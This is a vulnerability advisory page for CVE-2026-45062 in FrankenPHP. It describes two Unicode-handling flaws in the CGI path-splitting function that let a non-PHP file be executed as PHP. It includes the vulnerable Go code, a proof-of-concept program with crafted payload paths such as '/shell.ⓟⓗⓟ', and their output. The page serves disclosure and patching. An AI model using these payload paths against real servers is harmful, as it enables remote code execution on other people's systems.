FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files
The splitPos() function in [cgi.go](https://github.com/php/frankenphp/blob/main/cgi.go) misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.
This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.
```go
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}
pathLen := len(path)
for _, split := range splitPath {
splitLen := len(split)
for i := 0; i < pathLen; i++ {
if path[i] >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break
}
if i+splitLen > pathLen {
continue
}
match := true
for j := 0; j < splitLen; j++ {
c := path[i+j]
if c >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break // <-- flaw 1: 'match' is still true
}
if 'A' <= c && c <= 'Z' {
c += 'a' - 'A'
}
if c != split[j] {
match = false
break
}
}
if match {
return i + splitLen
}
}
}
return -1
}
```
match after inner non-ASCII fallbackIn the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.
search.IgnoreCase folds non-ASCII lookalikes onto ASCIIsearch.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.
Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.
Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):
```go
package main
import (
"fmt"
"unicode/utf8"
"golang.org/x/text/language"
"golang.org/x/text/search"
)
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
// ... splitPos copied verbatim from cgi.go ...
func main() {
split := []string{".php"}
payloads := []string{
// flaw 1
"/PoC-match-unset.txt", // expected: -1
"/PoC-match-unset.¡.txt", // expected: -1, actual: 20
// flaw 2
"/shell﹒php", // ﹒ small full stop
"/shell.php", // . fullwidth full stop
"/shell.php", // p fullwidth p
"/shell.php", // h fullwidth h
"/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled
"/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold
"/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script
"/shell.ⓟⓗⓟ.anything-after-payload.php",
}
for _, p := range payloads {
fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
}
}
```
Run go run poc.go:
```text
/PoC-match-unset.txt : -1
/PoC-match-unset.¡.txt : 20
/shell﹒php : 12
/shell.php : 12
/shell.php : 12
/shell.php : 12
/shell.ⓟⓗⓟ : 16
/shell.𝗽𝗵𝗽 : 19
/shell.𝓅𝒽𝓅 : 19
/shell.ⓟⓗⓟ.anything-after-payload.php : 16
```
Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).
Directory layout:
```
.
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-45062 is classified as CWE-176: Improper Handling of Unicode Encoding. The product does not properly handle when an input contains Unicode encoding.
CVE-2026-45062 is recorded against 2 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com/dunglas/frankenphp has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-176: Improper Handling of Unicode Encoding) in other software:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/dunglas/frankenphp | — | — |
| unknown | — | — |
References
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